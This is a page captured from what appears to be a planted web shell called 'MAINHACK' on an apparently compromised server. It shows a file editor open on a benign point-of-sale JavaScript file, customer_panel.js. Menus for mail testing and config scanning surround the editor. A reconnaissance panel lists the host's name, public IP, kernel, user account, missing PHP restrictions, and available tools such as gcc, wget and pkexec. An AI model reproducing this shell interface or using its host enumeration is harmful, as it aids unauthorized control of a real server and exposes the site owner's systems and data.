[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: customer_panel.js
$(function () { "use strict"; /** * Full Screen */ let base_url = $("#base_url").val(); function toggleFullscreen(elem) { elem = elem || document.documentElement; if ( !document.fullscreenElement && !document.mozFullScreenElement && !document.webkitFullscreenElement && !document.msFullscreenElement ) { if (elem.requestFullscreen) { elem.requestFullscreen(); } else if (elem.msRequestFullscreen) { elem.msRequestFullscreen(); } else if (elem.mozRequestFullScreen) { elem.mozRequestFullScreen(); } else if (elem.webkitRequestFullscreen) { elem.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT); } } else { if (document.exitFullscreen) { document.exitFullscreen(); } else if (document.msExitFullscreen) { document.msExitFullscreen(); } else if (document.mozCancelFullScreen) { document.mozCancelFullScreen(); } else if (document.webkitExitFullscreen) { document.webkitExitFullscreen(); } } } $(document).on("click", "#fullscreen", function (e) { toggleFullscreen(); }); function get_cart_data() { $.ajax({ url: base_url + "customer-panel-data", method: "POST", dataType:'json', success: function (response) { if(response){ let totalItem = $('.single-item-wrap').length; if(response.items_html){ $(".customer_display_body").html(response.items_html); }else{ $(".customer_display_body").empty(); } if(response.total_sub_total){ $(".subtotal-amt").html(response.total_sub_total); }else{ $(".subtotal-amt").html(parseFloat(0)); } if(totalItem){ $(".item-qty").html(totalItem); }else{ $(".item-qty").html(parseFloat(0)); } if(response.total_item){ $(".total-item-amt").html(response.total_item); }else{ $(".total-item-amt").html(parseFloat(0)); } if(response.total_discount_amount){ $(".total-discount-amt").html(response.total_discount_amount); }else{ $(".total-discount-amt").html(parseFloat(0)); } if(response.total_discount){ $(".discount-amt").html(response.total_discount); }else{ $(".discount-amt").html(parseFloat(0)); } if(response.total_tax){ $(".tax-amt").html(response.total_tax); }else{ $(".tax-amt").html(parseFloat(0)); } if(response.total_charge){ $(".charge-amt").html(response.total_charge); }else{ $(".charge-amt").html(parseFloat(0)); } if(response.total_payable){ $(".total-payable-amt").html(response.total_payable); }else{ $(".total-payable-amt").html(parseFloat(0)); } }else{ $(".subtotal-amt").html(parseFloat(0)); $(".item-qty").html(parseFloat(0)); $(".total-item-amt").html(parseFloat(0)); $(".total-discount-amt").html(parseFloat(0)); $(".discount-amt").html(parseFloat(0)); $(".tax-amt").html(parseFloat(0)); $(".charge-amt").html(parseFloat(0)); $(".total-payable-amt").html(parseFloat(0)); } } }); } setInterval(function(){ get_cart_data(); }, 1000); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002